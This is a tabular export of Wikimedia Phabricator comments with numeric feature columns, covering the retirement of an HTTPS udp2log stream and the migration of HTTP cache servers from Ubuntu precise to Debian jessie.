-Toby",,,1422132786,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,16.0,5.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,12.0,14.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,3.86046511627907,0.8837209302325582,"Otto, Oliver, Erik -- This is a heads-up that these log messages are going away. My understanding was that we were using them to count HTTPS requests but we use a different mechanism on Hadoop.

-Toby"
402336,Deprecate HTTPS udp2log stream?,"@TNegrin confirmed that Analytics is not using this data (anymore), and it can be turned off.

(Let's turn off this data ASAP, so we still have a bit of time if someone suddenly starts screaming.)",,,1421956065,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,False,,,-23,True,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,13.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,9.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.688888888888889,0.8444444444444444,"SCREEN_NAME confirmed that Analytics is not using this data (anymore), and it can be turned off.

(Let's turn off this data ASAP, so we still have a bit of time if someone suddenly starts screaming.)"
400015,Deprecate HTTPS udp2log stream?,"on the re-architecturing, I think (newer?) nginx versions can write logs to a pipe so that might be a quick win without patching nginx (?)",,,1421315409,,PHID-USER-wr3pospifdaxghmtobvr,False,,,PHID-TASK-2rjiyqkvfpesq5wu2cxp,task_subcomment,,True,c3,1,True,,,-24,True,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,15.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,3.4545454545454546,0.8484848484848485,"on the re-architecturing, I think (newer?) nginx versions can write logs to a pipe so that might be a quick win without patching nginx (?)"
86648,Upgrade all HTTP frontends to Debian jessie,"Our current HTTP frontend fleet (frontend & backend Varnishes for routing & caching, nginx for SSL termination) runs on Ubuntu 12.04 (precise).

Mainly motivated by HTTPS improvements (newer libssl, nginx) and IPsec rollouts, we need to start moving our fleet to a newer platform. Debian jessie is a good candidate for this, as this is the next Wikimedia OS. This work is expected to happen by the end of FY Q3 2015.

For this we'll need to:
[x] Prepare infrastructure for jessie boxes (already done as part of a separate goal)
[x] Upgrade one canary box to jessie (cp1008)
[x] Rebuild custom-made packages for jessie, notably Varnish 3 (jessie ships with 4), varnishkafka; port upstart service files to systemd
[x] Reinstall one server of each type role (text, mobile, upload, bits) in production for live testing
[x] Make sure that everything works, new kernel in particular.
[x] Reinstall all servers across all datacenters

Note that related to this, we'll also need the availability of jessie images for Labs so that we can perform tests and so that Beta can keep up with production. For this, the availability of jessie images in Labs, T75592, is a blocker.",High,80.0,1421156390,1426274679.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-5lmnekhfnfq6qskksmey,task_description,resolved,True,c3,1,True,False,True,-25,True,1.0,0.3333333333333333,0.0,0.3333333333333333,0.0,6.333333333333333,1.0,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,2.0,0.0,1.6666666666666667,14.0,0.3333333333333333,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,0.0,13.0,1.6666666666666667,1.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,2.6666666666666665,1.3333333333333333,9.666666666666666,2.3333333333333335,1.3333333333333333,6.0,0.0,0.0,0.0,0.0,4.666666666666667,0.0,2.0,0.0,2.0,14.0,7.333333333333333,0.0,0.0,0.0,2.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,6.333333333333333,3.7868217054263567,0.686046511627907,"Our current HTTP frontend fleet (frontend & backend Varnishes for routing & caching, nginx for SSL termination) runs on Ubuntu 12.04 (precise).

Mainly motivated by HTTPS improvements (newer libssl, nginx) and IPsec rollouts, we need to start moving our fleet to a newer platform. Debian jessie is a good candidate for this, as this is the next Wikimedia OS. This work is expected to happen by the end of FY Q3 2015.

For this we'll need to:
[x] Prepare infrastructure for jessie boxes (already done as part of a separate goal)
[x] Upgrade one canary box to jessie (cp1008)
[x] Rebuild custom-made packages for jessie, notably Varnish 3 (jessie ships with 4), varnishkafka; port upstart service files to systemd
[x] Reinstall one server of each type role (text, mobile, upload, bits) in production for live testing
[x] Make sure that everything works, new kernel in particular.
[x] Reinstall all servers across all datacenters

Note that related to this, we'll also need the availability of jessie images for Labs so that we can perform tests and so that Beta can keep up with production. For this, the availability of jessie images in Labs, T75592, is a blocker."
426579,Upgrade all HTTP frontends to Debian jessie,"@bblack, delaying the second Parsoid cache by a week should be fine. If things go well we should have VE use RESTBase instead for all wikipedias by the end of next week (possibly even before Wednesday), at which point the issue becomes moot. See {T89066}.",,,1426435319,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,2.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,15.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,2.0,2.0,0.0,2.0,13.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9814814814814814,0.8518518518518519,"SCREEN_NAME, delaying the second Parsoid cache by a week should be fine. If things go well we should have VE use RESTBase instead for all wikipedias by the end of next week (possibly even before Wednesday), at which point the issue becomes moot. See {T89066}."
426577,Upgrade all HTTP frontends to Debian jessie,"@bblack, delaying the second Parsoid cache by a week should be fine. If things go well we should have VE use RESTBase instead for all wikipedias by the end of next week (possibly even before Wednesday), at which point the issue becomes moot.",,,1426435288,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,14.0,6.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.142857142857143,0.8571428571428571,"SCREEN_NAME, delaying the second Parsoid cache by a week should be fine. If things go well we should have VE use RESTBase instead for all wikipedias by the end of next week (possibly even before Wednesday), at which point the issue becomes moot."
426158,Upgrade all HTTP frontends to Debian jessie,"100% complete now for all live, pooled, public cache endpoints for text, mobile, bits, upload, and misc-web.

parsoidcache has 1/2 hosts converted (putting the other off by a week or so is the current plan, to avoid losing too much parsoidcache data at once - need to coordinate with @GWicke further to confirm - either way only incidentally related to this ticket, as parsoidcache isn't a cpuload/clientperf blocker for #HTTPS-by-default ).

There are still 3x current hosts (cp1047, cp3011, cp4009) that are down for hardware issues presently, and will get installed with the new jessie config once their hardware issues are resolved (those all have separate hardware tickets noted in cache.pp depool comments).",,,1426274880,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1.5,0.0,0.0,0.5,0.5,5.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,0.0,0.0,6.5,9.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,19.0,0.5,1.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,1.5,0.5,2.0,5.5,0.0,0.0,0.0,0.5,2.0,0.0,2.5,0.0,0.5,9.5,4.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.5,0.0,0.0,4.215277777777779,0.8055555555555556,"100% complete now for all live, pooled, public cache endpoints for text, mobile, bits, upload, and misc-web.

parsoidcache has 1/2 hosts converted (putting the other off by a week or so is the current plan, to avoid losing too much parsoidcache data at once - need to coordinate withSCREEN_NAME further to confirm - either way only incidentally related to this ticket, as parsoidcache isn't a cpuload/clientperf blocker for #HTTPS-by-default ).

There are still 3x current hosts (cp1047, cp3011, cp4009) that are down for hardware issues presently, and will get installed with the new jessie config once their hardware issues are resolved (those all have separate hardware tickets noted in cache.pp depool comments)."
426156,Upgrade all HTTP frontends to Debian jessie,"100% complete now for all live, pooled, public cache endpoints for text, mobile, bits, upload, and misc-web.

parsoidcache has 1/2 hosts converted (putting the other off by a week or so is the current plan, to avoid losing too much parsoidcache data at once - need to coordinate with @GWicke further to confirm - either way only incidentally related to this ticket, as parsoidcache isn't a cpuload/clientperf blocker #HTTPS-by-default ).

There are still 3x current hosts (cp1047, cp3011, cp4009) that are down for hardware issues presently, and will get installed with the new jessie config once their hardware issues are resolved (those all have separate hardware tickets noted in cache.pp depool comments).",,,1426274679,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,1.5,0.0,0.0,0.5,0.5,5.0,2.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,0.0,0.0,6.5,8.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,4.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,2.5,0.5,0.0,0.0,0.0,0.0,0.0,19.5,0.5,1.5,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.5,1.5,0.5,2.0,5.5,0.0,0.0,0.0,0.5,2.0,0.0,2.5,0.0,0.5,8.5,4.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.5,0.0,0.0,4.224374021909233,0.8112284820031299,"100% complete now for all live, pooled, public cache endpoints for text, mobile, bits, upload, and misc-web.

parsoidcache has 1/2 hosts converted (putting the other off by a week or so is the current plan, to avoid losing too much parsoidcache data at once - need to coordinate withSCREEN_NAME further to confirm - either way only incidentally related to this ticket, as parsoidcache isn't a cpuload/clientperf blocker #HTTPS-by-default ).

There are still 3x current hosts (cp1047, cp3011, cp4009) that are down for hardware issues presently, and will get installed with the new jessie config once their hardware issues are resolved (those all have separate hardware tickets noted in cache.pp depool comments)."
425646,Upgrade all HTTP frontends to Debian jessie,"At this point, we're 100% converted globally for the text, mobile, and bits clusters.  There's still a few left in the eqiad and esams upload clusters, but they should be done by sometime tomorrow.",,,1426198290,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.8409090909090909,"At this point, we're 100% converted globally for the text, mobile, and bits clusters.  There's still a few left in the eqiad and esams upload clusters, but they should be done by sometime tomorrow."
425644,Upgrade all HTTP frontends to Debian jessie,"At this point, we're 100% converted globally for the text, mobile, and upload clusters.  There's still a few left in the eqiad and esams upload clusters, but they should be done by sometime tomorrow.",,,1426198176,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,5.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.772727272727273,0.8181818181818182,"At this point, we're 100% converted globally for the text, mobile, and upload clusters.  There's still a few left in the eqiad and esams upload clusters, but they should be done by sometime tomorrow."
425565,Upgrade all HTTP frontends to Debian jessie,text-eqiad are 100% complete,,,1426193537,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,text-eqiad are 100% complete
424884,Upgrade all HTTP frontends to Debian jessie,"cp1053
cp1061
cp1052
cp1054
cp1057
cp1056

done. i stopped adding the bug number to commit messages because it would be too spammy ",,,1426114739,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.9655172413793105,0.8620689655172413,"cp1053
cp1061
cp1052
cp1054
cp1057
cp1056

done. i stopped adding the bug number to commit messages because it would be too spammy "
424260,Upgrade all HTTP frontends to Debian jessie,"Status update: ~53% of the cluster is now converted to the new config.  I think we'll make the end of the week at this point, or at least very near to it.  Thanks @dzahn for helping with some of these reinstalls :)",,,1426032773,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,2.0,0.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,6.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,8.0,2.0,6.0,0.0,2.0,14.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,6.0,18.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.63265306122449,0.8163265306122449,"Status update: ~53% of the cluster is now converted to the new config.  I think we'll make the end of the week at this point, or at least very near to it.  ThanksSCREEN_NAME for helping with some of these reinstalls :)"
424050,Upgrade all HTTP frontends to Debian jessie,"Change 195632 merged by Dzahn:
depool cp1057 for reinstall

[[https://gerrit.wikimedia.org/r/195632]]",,,1426015358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.9411764705882355,0.8823529411764706,"Change 195632 merged by Dzahn:
depool cp1057 for reinstall

[[GERRIT_URL]]"
424047,Upgrade all HTTP frontends to Debian jessie,"Change 195632 had a related patch set uploaded (by Dzahn):
depool cp1057 for reinstall

[[https://gerrit.wikimedia.org/r/195632]]
",,,1426015150,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 195632 had a related patch set uploaded (by Dzahn):
depool cp1057 for reinstall

[[GERRIT_URL]]
"
423891,Upgrade all HTTP frontends to Debian jessie,"Change 195573 merged by Dzahn:
depool cp1056 for reinstall

[[https://gerrit.wikimedia.org/r/195573]]",,,1426002692,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.9411764705882355,0.8823529411764706,"Change 195573 merged by Dzahn:
depool cp1056 for reinstall

[[GERRIT_URL]]"
423888,Upgrade all HTTP frontends to Debian jessie,"Change 195573 had a related patch set uploaded (by Dzahn):
depool cp1056 for reinstall

[[https://gerrit.wikimedia.org/r/195573]]
",,,1426002164,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 195573 had a related patch set uploaded (by Dzahn):
depool cp1056 for reinstall

[[GERRIT_URL]]
"
422390,Upgrade all HTTP frontends to Debian jessie,"We're at ~15% of the cache endpoints converted and reinstalled now, and most corner-case oddities with the reinstall process are known.  Next week begins mass reinstalls, expecting that almost everything with the exception of a few esams upload machines will be complete by the end of the week.  esams upload is a special case that requires longer time intervals to refill disks over the network...",,,1425673477,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,1.0,1.0,0.0,1.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,13.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,25.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,4.0,3.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,1.0,1.0,0.0,4.394736842105263,0.7631578947368421,"We're at ~15% of the cache endpoints converted and reinstalled now, and most corner-case oddities with the reinstall process are known.  Next week begins mass reinstalls, expecting that almost everything with the exception of a few esams upload machines will be complete by the end of the week.  esams upload is a special case that requires longer time intervals to refill disks over the network..."
422383,Upgrade all HTTP frontends to Debian jessie,"We're at ~15% of the cache endpoints converted and reinstalled now, and most corner-case oddities with the reinstall process are known.  Next week beings mass reinstalls, expecting that almost everything with the exception of a few esams upload machines will be complete by the end of the week.  esams upload is a special case that requires longer time intervals to refill disks over the network...",,,1425673295,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-17,True,1.0,1.0,0.0,1.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,3.0,13.0,1.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,1.0,26.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,4.0,3.0,1.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,1.0,1.0,0.0,4.394736842105263,0.7631578947368421,"We're at ~15% of the cache endpoints converted and reinstalled now, and most corner-case oddities with the reinstall process are known.  Next week beings mass reinstalls, expecting that almost everything with the exception of a few esams upload machines will be complete by the end of the week.  esams upload is a special case that requires longer time intervals to refill disks over the network..."
420434,Upgrade all HTTP frontends to Debian jessie,"Test installs are now successful and all known issues are resolved for all cache types (e.g. systemd transitions for various daemons, varnishkafka issues, etc).  Next step here is to document the reinstall process on wikitech for others to help, set up a plan for reasonable parallelism without causing performance degradation, and begin reinstalling all of the clusters.  Should be done by the end of next week, approximately, although upload clusters may require more time to space them out, so as not cause performance degradation.",,,1425425912,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-5lmnekhfnfq6qskksmey,task_subcomment,,True,c3,1,True,,,-18,True,3.0,0.0,0.0,2.0,1.0,9.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,17.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,3.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,2.0,1.0,0.0,1.0,4.6020408163265305,0.7448979591836735,"Test installs are now successful and all known issues are resolved for all cache types (e.g. systemd transitions for various daemons, varnishkafka issues, etc).  Next step here is to document the reinstall process on wikitech for others to help, set up a plan for reasonable parallelism without causing performance degradation, and begin reinstalling all of the clusters.  Should be done by the end of next week, approximately, although upload clusters may require more time to space them out, so as not cause performance degradation."
